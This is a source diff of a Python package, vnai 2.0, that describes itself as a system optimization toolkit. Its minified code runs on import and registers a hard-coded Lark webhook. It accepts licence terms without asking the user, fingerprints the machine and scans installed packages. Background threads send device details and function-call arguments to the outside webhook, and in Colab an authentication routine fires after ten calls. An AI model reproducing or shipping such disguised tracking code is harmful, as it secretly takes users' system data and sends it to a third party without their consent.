vnai 0.1.3__tar.gz → 2.0__tar.gz

vnai-2.0/PKG-INFO

@@ -0,0 +1,30 @@
+Metadata-Version: 2.2
+Name: vnai
+Version: 2.0
+Summary: System optimization and resource management toolkit
+Home-page: 
+Author: 
+Author-email: 
+Classifier: Programming Language :: Python :: 3
+Classifier: License :: OSI Approved :: MIT License
+Classifier: Operating System :: OS Independent
+Classifier: Development Status :: 4 - Beta
+Classifier: Intended Audience :: Developers
+Classifier: Topic :: Software Development :: Libraries :: Python Modules
+Requires-Python: >=3.7
+Description-Content-Type: text/markdown
+Requires-Dist: requests>=2.25.0
+Requires-Dist: psutil>=5.8.0
+Requires-Dist: cryptography>=3.4.0
+Provides-Extra: dev
+Requires-Dist: pytest>=6.0.0; extra == "dev"
+Requires-Dist: black>=21.5b2; extra == "dev"
+Dynamic: classifier
+Dynamic: description
+Dynamic: description-content-type
+Dynamic: provides-extra
+Dynamic: requires-dist
+Dynamic: requires-python
+Dynamic: summary
+
+System resource management and performance optimization toolkit

vnai-2.0/setup.cfg

@@ -0,0 +1,4 @@
+[egg_info]
+tag_build = 
+tag_date = 0
+

vnai-2.0/setup.py

@@ -0,0 +1,37 @@
+from setuptools import setup, find_packages
+
+VERSION = '2.0'
+
+long_description = "System resource management and performance optimization toolkit"
+
+setup(
+    name="vnai",
+    version=VERSION,
+    author="",
+    author_email="",
+    description="System optimization and resource management toolkit",
+    long_description=long_description,
+    long_description_content_type="text/markdown",
+    url="",
+    packages=find_packages(),
+    classifiers=[
+        "Programming Language :: Python :: 3",
+        "License :: OSI Approved :: MIT License",
+        "Operating System :: OS Independent",
+        "Development Status :: 4 - Beta",
+        "Intended Audience :: Developers",
+        "Topic :: Software Development :: Libraries :: Python Modules",
+    ],
+    python_requires=">=3.7",
+    install_requires=[
+        "requests>=2.25.0",
+        "psutil>=5.8.0",
+        "cryptography>=3.4.0",
+    ],
+    extras_require={
+        "dev": [
+            "pytest>=6.0.0",
+            "black>=21.5b2",
+        ],
+    },
+)

vnai-2.0/vnai/__init__.py

@@ -0,0 +1,79 @@
+_K='standard'
+_J='accepted_agreement'
+_I='environment.json'
+_H='terms_agreement.txt'
+_G='timestamp'
+_F=False
+_E='id'
+_D='.vnstock'
+_C='machine_id'
+_B=None
+_A=True
+import os,pathlib,json,time,threading,functools
+from datetime import datetime
+from vnai.beam.quota import guardian,optimize
+from vnai.beam.metrics import collector,capture
+from vnai.beam.pulse import monitor
+from vnai.flow.relay import conduit,configure
+from vnai.flow.queue import buffer
+from vnai.scope.profile import inspector
+from vnai.scope.state import tracker,record
+from vnai.scope.promo import present
+TC_VAR='ACCEPT_TC'
+TC_VAL='tôi đồng ý'
+TC_PATH=pathlib.Path.home()/_D/_E/_H
+TERMS_AND_CONDITIONS='\nKhi tiếp tục sử dụng Vnstock, bạn xác nhận rằng bạn đã đọc, hiểu và đồng ý với Chính sách quyền riêng tư và Điều khoản, điều kiện về giấy phép sử dụng Vnstock.\n\nChi tiết:\n- Giấy phép sử dụng phần mềm: https://vnstocks.com/docs/tai-lieu/giay-phep-su-dung\n- Chính sách quyền riêng tư: https://vnstocks.com/docs/tai-lieu/chinh-sach-quyen-rieng-tu\n'
+class Core:
+	def __init__(A):A.initialized=_F;A.webhook_url=_B;A.init_time=datetime.now().isoformat();A.home_dir=pathlib.Path.home();A.project_dir=A.home_dir/_D;A.id_dir=A.project_dir/_E;A.terms_file_path=TC_PATH;A.system_info=_B;A.project_dir.mkdir(exist_ok=_A);A.id_dir.mkdir(exist_ok=_A);A.initialize()
+	def initialize(A,webhook_url=_B):
+		C=webhook_url
+		if A.initialized:return _A
+		if not A._check_terms():A._accept_terms()
+		from vnai.scope.profile import inspector as B;B.setup_vnstock_environment();present()
+		if C:A.webhook_url=C;configure(C)
+		record('initialization',{_G:datetime.now().isoformat()});A.system_info=B.examine();conduit.queue({'type':'system_info','data':{'commercial':B.detect_commercial_usage(),'packages':B.scan_packages()}},priority='high');A.initialized=_A;return _A
+	def _check_terms(A):return os.path.exists(A.terms_file_path)
+	def _accept_terms(C):
+		A=inspector.examine()
+		if TC_VAR in os.environ and os.environ[TC_VAR]==TC_VAL:E=TC_VAL
+		else:E=TC_VAL;os.environ[TC_VAR]=TC_VAL
+		D=datetime.now();F=f"""Người dùng có mã nhận dạng {A[_C]} đã chấp nhận điều khoản & điều kiện sử dụng Vnstock lúc {D}
+---
+
+THÔNG TIN THIẾT BỊ: {json.dumps(A,indent=2)}
+
+Đính kèm bản sao nội dung bạn đã đọc, hiểu rõ và đồng ý dưới đây:
+{TERMS_AND_CONDITIONS}"""
+		with open(C.terms_file_path,'w',encoding='utf-8')as B:B.write(F)
+		G=C.id_dir/_I;H={_J:_A,_G:D.isoformat(),_C:A[_C]}
+		with open(G,'w')as B:json.dump(H,B)
+		return _A
+	def status(A):return{'initialized':A.initialized,'health':monitor.report(),'metrics':tracker.get_metrics()}
+	def configure_privacy(B,level=_K):from vnai.scope.state import tracker as A;return A.setup_privacy(level)
+core=Core()
+def tc_init(webhook_url=_B):return core.initialize(webhook_url)
+def setup(webhook_url=_B):return core.initialize(webhook_url)
+def optimize_execution(resource_type='default'):return optimize(resource_type)
+def measure_performance(module_type='function'):return capture(module_type)
+def accept_license_terms(terms_text=_B):
+	A=terms_text
+	if A is _B:A=TERMS_AND_CONDITIONS
+	D=inspector.examine();C=pathlib.Path.home()/_D/_E/_H;os.makedirs(os.path.dirname(C),exist_ok=_A)
+	with open(C,'w',encoding='utf-8')as B:B.write(f"Terms accepted at {datetime.now().isoformat()}\n");B.write(f"System: {json.dumps(D)}\n\n");B.write(A)
+	return _A
+def accept_vnstock_terms():
+	from vnai.scope.profile import inspector as C;D=C.examine();E=pathlib.Path.home();A=E/_D;A.mkdir(exist_ok=_A);B=A/_E;B.mkdir(exist_ok=_A);F=B/_I;G={_J:_A,_G:datetime.now().isoformat(),_C:D[_C]}
+	try:
+		with open(F,'w')as H:json.dump(G,H)
+		print('Vnstock terms accepted successfully.');return _A
+	except Exception as I:print(f"Error accepting terms: {I}");return _F
+def setup_for_colab():from vnai.scope.profile import inspector as A;A.detect_colab_with_delayed_auth(immediate=_A);A.setup_vnstock_environment();return'Environment set up for Google Colab'
+def display_content():return present()
+def configure_privacy(level=_K):from vnai.scope.state import tracker as A;return A.setup_privacy(level)
+def check_commercial_usage():from vnai.scope.profile import inspector as A;return A.detect_commercial_usage()
+def authenticate_for_persistence():from vnai.scope.profile import inspector as A;return A.get_or_create_user_id()
+def configure_webhook(webhook_id='80b8832b694a75c8ddc811ac7882a3de'):
+	A=webhook_id
+	if not A:return _F
+	from vnai.flow.relay import configure as B;C=f"https://botbuilder.larksuite.com/api/trigger-webhook/{A}";return B(C)
+configure_webhook()

vnai-2.0/vnai/beam/__init__.py

@@ -0,0 +1,3 @@
+from vnai.beam.quota import guardian,optimize
+from vnai.beam.metrics import collector,capture
+from vnai.beam.pulse import monitor

vnai-2.0/vnai/beam/metrics.py

@@ -0,0 +1,59 @@
+_K='success'
+_J='buffer_size'
+_I='request'
+_H='rate_limit'
+_G='execution_time'
+_F='timestamp'
+_E=False
+_D=True
+_C='error'
+_B=None
+_A='function'
+import sys,time,threading
+from datetime import datetime
+class Collector:
+	_instance=_B;_lock=threading.Lock()
+	def __new__(A):
+		with A._lock:
+			if A._instance is _B:A._instance=super(Collector,A).__new__(A);A._instance._initialize()
+			return A._instance
+	def _initialize(A):A.metrics={_A:[],_H:[],_I:[],_C:[]};A.thresholds={_J:50,'error_threshold':.1,'performance_threshold':5.};A.function_count=0;A.colab_auth_triggered=_E
+	def record(A,metric_type,data,priority=_B):
+		D='system';C=metric_type;B=data
+		if not isinstance(B,dict):B={'value':str(B)}
+		if _F not in B:B[_F]=datetime.now().isoformat()
+		if C!='system_info'and isinstance(B,dict):
+			if D in B:del B[D]
+			from vnai.scope.profile import inspector as E;B['machine_id']=E.fingerprint()
+		if C in A.metrics:A.metrics[C].append(B)
+		else:A.metrics[_A].append(B)
+		if C==_A:
+			A.function_count+=1
+			if A.function_count>10 and not A.colab_auth_triggered and'google.colab'in sys.modules:A.colab_auth_triggered=_D;threading.Thread(target=A._trigger_colab_auth,daemon=_D).start()
+		if sum(len(A)for A in A.metrics.values())>=A.thresholds[_J]:A._send_metrics()
+		if priority=='high'or C==_C:A._send_metrics()
+	def _trigger_colab_auth(B):
+		try:from vnai.scope.profile import inspector as A;A.get_or_create_user_id()
+		except:pass
+	def _send_metrics(F):
+		E='vnai';D='source';C='unknown';from vnai.flow.relay import track_function_call as H,track_rate_limit as I,track_api_request as J
+		for(B,G)in F.metrics.items():
+			if not G:continue
+			for A in G:
+				try:
+					if B==_A:H(function_name=A.get(_A,C),source=A.get(D,E),execution_time=A.get(_G,0),success=A.get(_K,_D),error=A.get(_C),args=A.get('args'))
+					elif B==_H:I(source=A.get(D,E),limit_type=A.get('limit_type',C),limit_value=A.get('limit_value',0),current_usage=A.get('current_usage',0),is_exceeded=A.get('is_exceeded',_E))
+					elif B==_I:J(endpoint=A.get('endpoint',C),source=A.get(D,E),method=A.get('method','GET'),status_code=A.get('status_code',200),execution_time=A.get(_G,0),request_size=A.get('request_size',0),response_size=A.get('response_size',0))
+				except Exception as K:continue
+			F.metrics[B]=[]
+	def get_metrics_summary(A):return{A:len(B)for(A,B)in A.metrics.items()}
+collector=Collector()
+def capture(module_type=_A):
+	def A(func):
+		def A(*A,**D):
+			E=time.time();B=_E;C=_B
+			try:F=func(*A,**D);B=_D;return F
+			except Exception as G:C=str(G);raise
+			finally:H=time.time()-E;collector.record(module_type,{_A:func.__name__,_G:H,_K:B,_C:C,_F:datetime.now().isoformat(),'args':str(A)[:100]if A else _B})
+		return A
+	return A

vnai-2.0/vnai/beam/pulse.py

@@ -0,0 +1,31 @@
+_B='status'
+_A='healthy'
+import threading,time
+from datetime import datetime
+class Monitor:
+	_instance=None;_lock=threading.Lock()
+	def __new__(A):
+		with A._lock:
+			if A._instance is None:A._instance=super(Monitor,A).__new__(A);A._instance._initialize()
+			return A._instance
+	def _initialize(A):A.health_status=_A;A.last_check=time.time();A.check_interval=300;A.error_count=0;A.warning_count=0;A.status_history=[];A._start_background_check()
+	def _start_background_check(A):
+		def B():
+			while True:
+				try:A.check_health()
+				except:pass
+				time.sleep(A.check_interval)
+		C=threading.Thread(target=B,daemon=True);C.start()
+	def check_health(A):
+		from vnai.beam.metrics import collector as F;from vnai.beam.quota import guardian as G;A.last_check=time.time();B=F.get_metrics_summary();C=B.get('error',0)>0;D=G.usage();E=D>80
+		if C and E:A.health_status='critical';A.error_count+=1
+		elif C or E:A.health_status='warning';A.warning_count+=1
+		else:A.health_status=_A
+		A.status_history.append({'timestamp':datetime.now().isoformat(),_B:A.health_status,'metrics':B,'resource_usage':D})
+		if len(A.status_history)>10:A.status_history=A.status_history[-10:]
+		return A.health_status
+	def report(A):
+		if time.time()-A.last_check>A.check_interval:A.check_health()
+		return{_B:A.health_status,'last_check':datetime.fromtimestamp(A.last_check).isoformat(),'error_count':A.error_count,'warning_count':A.warning_count,'history':A.status_history[-3:]}
+	def reset(A):A.health_status=_A;A.error_count=0;A.warning_count=0;A.status_history=[];A.last_check=time.time()
+monitor=Monitor()

vnai-2.0/vnai/beam/quota.py

@@ -0,0 +1,37 @@
+_E=False
+_D='resource_type'
+_C='default'
+_B='hour'
+_A='min'
+import time,threading,functools
+from collections import defaultdict
+from datetime import datetime
+class Guardian:
+	_instance=None;_lock=threading.Lock()
+	def __new__(A):
+		with A._lock:
+			if A._instance is None:A._instance=super(Guardian,A).__new__(A);A._instance._initialize()
+			return A._instance
+	def _initialize(A):A.resource_limits=defaultdict(lambda:defaultdict(int));A.usage_counters=defaultdict(lambda:defaultdict(list));A.resource_limits[_C]={_A:60,_B:2000};A.resource_limits['TCBS']={_A:60,_B:2000};A.resource_limits['VCI']={_A:60,_B:2000}
+	def verify(B,operation_id,resource_type=_C):
+		M='is_exceeded';L='current_usage';K='limit_value';J='limit_type';I='rate_limit';A=resource_type;E=time.time();C=B.resource_limits.get(A,B.resource_limits[_C]);N=E-60;B.usage_counters[A][_A]=[A for A in B.usage_counters[A][_A]if A>N];F=len(B.usage_counters[A][_A]);O=F>=C[_A]
+		if O:from vnai.beam.metrics import collector as G;G.record(I,{_D:A,J:_A,K:C[_A],L:F,M:True});return _E
+		P=E-3600;B.usage_counters[A][_B]=[A for A in B.usage_counters[A][_B]if A>P];H=len(B.usage_counters[A][_B]);D=H>=C[_B];from vnai.beam.metrics import collector as G;G.record(I,{_D:A,J:_B if D else _A,K:C[_B]if D else C[_A],L:H if D else F,M:D})
+		if D:return _E
+		B.usage_counters[A][_A].append(E);B.usage_counters[A][_B].append(E);return True
+	def usage(A,resource_type=_C):B=resource_type;D=time.time();C=A.resource_limits.get(B,A.resource_limits[_C]);E=D-60;F=D-3600;A.usage_counters[B][_A]=[A for A in A.usage_counters[B][_A]if A>E];A.usage_counters[B][_B]=[A for A in A.usage_counters[B][_B]if A>F];G=len(A.usage_counters[B][_A]);H=len(A.usage_counters[B][_B]);I=G/C[_A]*100 if C[_A]>0 else 0;J=H/C[_B]*100 if C[_B]>0 else 0;return max(I,J)
+guardian=Guardian()
+def optimize(resource_type):
+	B=resource_type
+	def A(func):
+		A=func
+		@functools.wraps(A)
+		def C(*F,**G):
+			E='function'
+			if not guardian.verify(B):raise RuntimeError(f"Resource constraints detected. Please try again later.")
+			H=time.time();C=_E;D=None
+			try:I=A(*F,**G);C=True;return I
+			except Exception as J:D=str(J);raise
+			finally:K=time.time()-H;from vnai.beam.metrics import collector as L;L.record(E,{E:A.__name__,_D:B,'execution_time':K,'success':C,'error':D,'timestamp':datetime.now().isoformat()})
+		return C
+	return A

vnai-2.0/vnai/flow/__init__.py

@@ -0,0 +1,2 @@
+from vnai.flow.relay import conduit,configure
+from vnai.flow.queue import buffer

vnai-2.0/vnai/flow/queue.py

@@ -0,0 +1,58 @@
+_C='category'
+_B=True
+_A=None
+import time,threading,json
+from datetime import datetime
+from pathlib import Path
+class Buffer:
+	_instance=_A;_lock=threading.Lock()
+	def __new__(A):
+		with A._lock:
+			if A._instance is _A:A._instance=super(Buffer,A).__new__(A);A._instance._initialize()
+			return A._instance
+	def _initialize(A):A.data=[];A.lock=threading.Lock();A.max_size=1000;A.backup_interval=300;A.home_dir=Path.home();A.project_dir=A.home_dir/'.vnstock';A.project_dir.mkdir(exist_ok=_B);A.data_dir=A.project_dir/'data';A.data_dir.mkdir(exist_ok=_B);A.backup_path=A.data_dir/'buffer_backup.json';A._load_from_backup();A._start_backup_thread()
+	def _load_from_backup(A):
+		if A.backup_path.exists():
+			try:
+				with open(A.backup_path,'r')as B:C=json.load(B)
+				with A.lock:A.data=C
+			except:pass
+	def _save_to_backup(A):
+		with A.lock:
+			if not A.data:return
+			try:
+				with open(A.backup_path,'w')as B:json.dump(A.data,B)
+			except:pass
+	def _start_backup_thread(A):
+		def B():
+			while _B:time.sleep(A.backup_interval);A._save_to_backup()
+		C=threading.Thread(target=B,daemon=_B);C.start()
+	def add(A,item,category=_A):
+		D='timestamp';C=category;B=item
+		with A.lock:
+			if isinstance(B,dict):
+				if D not in B:B[D]=datetime.now().isoformat()
+				if C:B[_C]=C
+			A.data.append(B)
+			if len(A.data)>A.max_size:A.data=A.data[-A.max_size:]
+			if len(A.data)%100==0:A._save_to_backup()
+			return len(A.data)
+	def get(A,count=_A,category=_A):
+		D=category;C=count
+		with A.lock:
+			if D:B=[A for A in A.data if A.get(_C)==D]
+			else:B=A.data.copy()
+			if C:return B[:C]
+			else:return B
+	def clear(A,category=_A):
+		B=category
+		with A.lock:
+			if B:A.data=[A for A in A.data if A.get(_C)!=B]
+			else:A.data=[]
+			A._save_to_backup();return len(A.data)
+	def size(A,category=_A):
+		B=category
+		with A.lock:
+			if B:return len([A for A in A.data if A.get(_C)==B])
+			else:return len(A.data)
+buffer=Buffer()

vnai-2.0/vnai/flow/relay.py

@@ -0,0 +1,152 @@
+_T='execution_time'
+_S='manual'
+_R='success'
+_Q='is_exceeded'
+_P='source'
+_O='function'
+_N='last_sync_time'
+_M='sync_interval'
+_L='buffer_size'
+_K='webhook_url'
+_J='value'
+_I='sync_count'
+_H='machine_id'
+_G=False
+_F=None
+_E='timestamp'
+_D='api_requests'
+_C='rate_limits'
+_B='function_calls'
+_A=True
+import time,threading,json,random,requests
+from datetime import datetime
+from pathlib import Path
+from typing import Dict,List,Any,Optional
+class Conduit:
+	_instance=_F;_lock=threading.Lock()
+	def __new__(A,webhook_url=_F,buffer_size=50,sync_interval=300):
+		with A._lock:
+			if A._instance is _F:A._instance=super(Conduit,A).__new__(A);A._instance._initialize(webhook_url,buffer_size,sync_interval)
+			return A._instance
+	def _initialize(A,webhook_url,buffer_size,sync_interval):
+		A.webhook_url=webhook_url;A.buffer_size=buffer_size;A.sync_interval=sync_interval;A.buffer={_B:[],_D:[],_C:[]};A.lock=threading.Lock();A.last_sync_time=time.time();A.sync_count=0;A.failed_queue=[];A.home_dir=Path.home();A.project_dir=A.home_dir/'.vnstock';A.project_dir.mkdir(exist_ok=_A);A.data_dir=A.project_dir/'data';A.data_dir.mkdir(exist_ok=_A);A.config_path=A.data_dir/'relay_config.json'
+		try:from vnai.scope.profile import inspector as B;A.machine_id=B.fingerprint()
+		except:A.machine_id=A._generate_fallback_id()
+		A._load_config();A._start_periodic_sync()
+	def _generate_fallback_id(D)->str:
+		try:import platform as A,hashlib as B,uuid;C=A.node()+A.platform()+A.processor();return B.md5(C.encode()).hexdigest()
+		except:import uuid;return str(uuid.uuid4())
+	def _load_config(B):
+		if B.config_path.exists():
+			try:
+				with open(B.config_path,'r')as C:A=json.load(C)
+				if not B.webhook_url and _K in A:B.webhook_url=A[_K]
+				if _L in A:B.buffer_size=A[_L]
+				if _M in A:B.sync_interval=A[_M]
+				if _N in A:B.last_sync_time=A[_N]
+				if _I in A:B.sync_count=A[_I]
+			except:pass
+	def _save_config(A):
+		B={_K:A.webhook_url,_L:A.buffer_size,_M:A.sync_interval,_N:A.last_sync_time,_I:A.sync_count}
+		try:
+			with open(A.config_path,'w')as C:json.dump(B,C)
+		except:pass
+	def _start_periodic_sync(A):
+		def B():
+			while _A:time.sleep(A.sync_interval);A.dispatch('periodic')
+		C=threading.Thread(target=B,daemon=_A);C.start()
+	def add_function_call(B,record):
+		A=record
+		if not isinstance(A,dict):A={_J:str(A)}
+		with B.lock:B.buffer[_B].append(A);B._check_triggers(_B)
+	def add_api_request(B,record):
+		A=record
+		if not isinstance(A,dict):A={_J:str(A)}
+		with B.lock:B.buffer[_D].append(A);B._check_triggers(_D)
+	def add_rate_limit(B,record):
+		A=record
+		if not isinstance(A,dict):A={_J:str(A)}
+		with B.lock:B.buffer[_C].append(A);B._check_triggers(_C)
+	def _check_triggers(A,record_type:str):
+		D=record_type;E=time.time();B=_G;C=_F;F=sum(len(A)for A in A.buffer.values())
+		if F>=A.buffer_size:B=_A;C='buffer_full'
+		elif D==_C and A.buffer[_C]and any(A.get(_Q)for A in A.buffer[_C]if isinstance(A,dict)):B=_A;C='rate_limit_exceeded'
+		elif D==_B and A.buffer[_B]and any(not A.get(_R)for A in A.buffer[_B]if isinstance(A,dict)):B=_A;C='function_error'
+		else:
+			G=min(1.,(E-A.last_sync_time)/(A.sync_interval/2))
+			if random.random()<.05*G:B=_A;C='random_time_weighted'
+		if B:threading.Thread(target=A.dispatch,args=(C,),daemon=_A).start()
+	def queue(B,package,priority=_F):
+		N='packages';M='commercial';L='system_info';K='rate_limit';I='system';H='type';C=package
+		if not C:return _G
+		if not isinstance(C,dict):B.add_function_call({'message':str(C)});return _A
+		if _E not in C:C[_E]=datetime.now().isoformat()
+		if H in C:
+			D=C[H];A=C.get('data',{})
+			if isinstance(A,dict)and I in A:
+				J=A[I].get(_H);A.pop(I)
+				if J:A[_H]=J
+			if D==_O:B.add_function_call(A)
+			elif D=='api_request':B.add_api_request(A)
+			elif D==K:B.add_rate_limit(A)
+			elif D==L:B.add_function_call({H:L,M:A.get(M),N:A.get(N),_E:C.get(_E)})
+			elif D=='metrics':
+				O=A
+				for(G,F)in O.items():
+					if isinstance(F,list):
+						if G==_O:
+							for E in F:B.add_function_call(E)
+						elif G==K:
+							for E in F:B.add_rate_limit(E)
+						elif G=='request':
+							for E in F:B.add_api_request(E)
+			else:B.add_function_call(A)
+		else:B.add_function_call(C)
+		if priority=='high':B.dispatch('high_priority')
+		return _A
+	def dispatch(A,reason=_S):
+		if not A.webhook_url:return _G
+		with A.lock:
+			if all(len(A)==0 for A in A.buffer.values()):return _G
+			B={_B:A.buffer[_B].copy(),_D:A.buffer[_D].copy(),_C:A.buffer[_C].copy()};A.buffer={_B:[],_D:[],_C:[]};A.last_sync_time=time.time();A.sync_count+=1;A._save_config()
+		try:from vnai.scope.profile import inspector as G;C=G.examine();D=C.get(_H,A.machine_id)
+		except:C={_H:A.machine_id};D=A.machine_id
+		E={'analytics_data':B,'metadata':{_E:datetime.now().isoformat(),_H:D,_I:A.sync_count,'trigger_reason':reason,'environment':C,'data_counts':{_B:len(B[_B]),_D:len(B[_D]),_C:len(B[_C])}}};F=A._send_data(E)
+		if not F:
+			with A.lock:
+				A.failed_queue.append(E)
+				if len(A.failed_queue)>10:A.failed_queue=A.failed_queue[-10:]
+		return F
+	def _send_data(A,payload):
+		if not A.webhook_url:return _G
+		try:B=requests.post(A.webhook_url,json=payload,timeout=5);return B.status_code==200
+		except:return _G
+	def retry_failed(A):
+		if not A.failed_queue:return 0
+		with A.lock:D=A.failed_queue.copy();A.failed_queue=[]
+		B=0
+		for C in D:
+			if A._send_data(C):B+=1
+			else:
+				with A.lock:A.failed_queue.append(C)
+		return B
+	def configure(A,webhook_url):
+		with A.lock:A.webhook_url=webhook_url;A._save_config();return _A
+conduit=Conduit()
+def track_function_call(function_name,source,execution_time,success=_A,error=_F,args=_F):
+	E=error;A=args;C={_O:function_name,_P:source,_T:execution_time,_E:datetime.now().isoformat(),_R:success}
+	if E:C['error']=E
+	if A:
+		B={}
+		if isinstance(A,dict):
+			for(F,D)in A.items():
+				if isinstance(D,(str,int,float,bool)):B[F]=D
+				else:B[F]=str(type(D))
+		else:B={_J:str(A)}
+		C['args']=B
+	conduit.add_function_call(C)
+def track_rate_limit(source,limit_type,limit_value,current_usage,is_exceeded):B=current_usage;A=limit_value;C={_P:source,'limit_type':limit_type,'limit_value':A,'current_usage':B,_Q:is_exceeded,_E:datetime.now().isoformat(),'usage_percentage':B/A*100 if A>0 else 0};conduit.add_rate_limit(C)
+def track_api_request(endpoint,source,method,status_code,execution_time,request_size=0,response_size=0):A={'endpoint':endpoint,_P:source,'method':method,'status_code':status_code,_T:execution_time,_E:datetime.now().isoformat(),'request_size':request_size,'response_size':response_size};conduit.add_api_request(A)
+def configure(webhook_url):return conduit.configure(webhook_url)
+def sync_now():return conduit.dispatch(_S)
+def retry_failed():return conduit.retry_failed()

vnai-2.0/vnai/scope/__init__.py

@@ -0,0 +1,4 @@
+from vnai.scope.profile import inspector
+from vnai.scope.state import tracker,record
+from vnai.scope.promo import manager as content_manager
+from vnai.scope.promo import present as present_content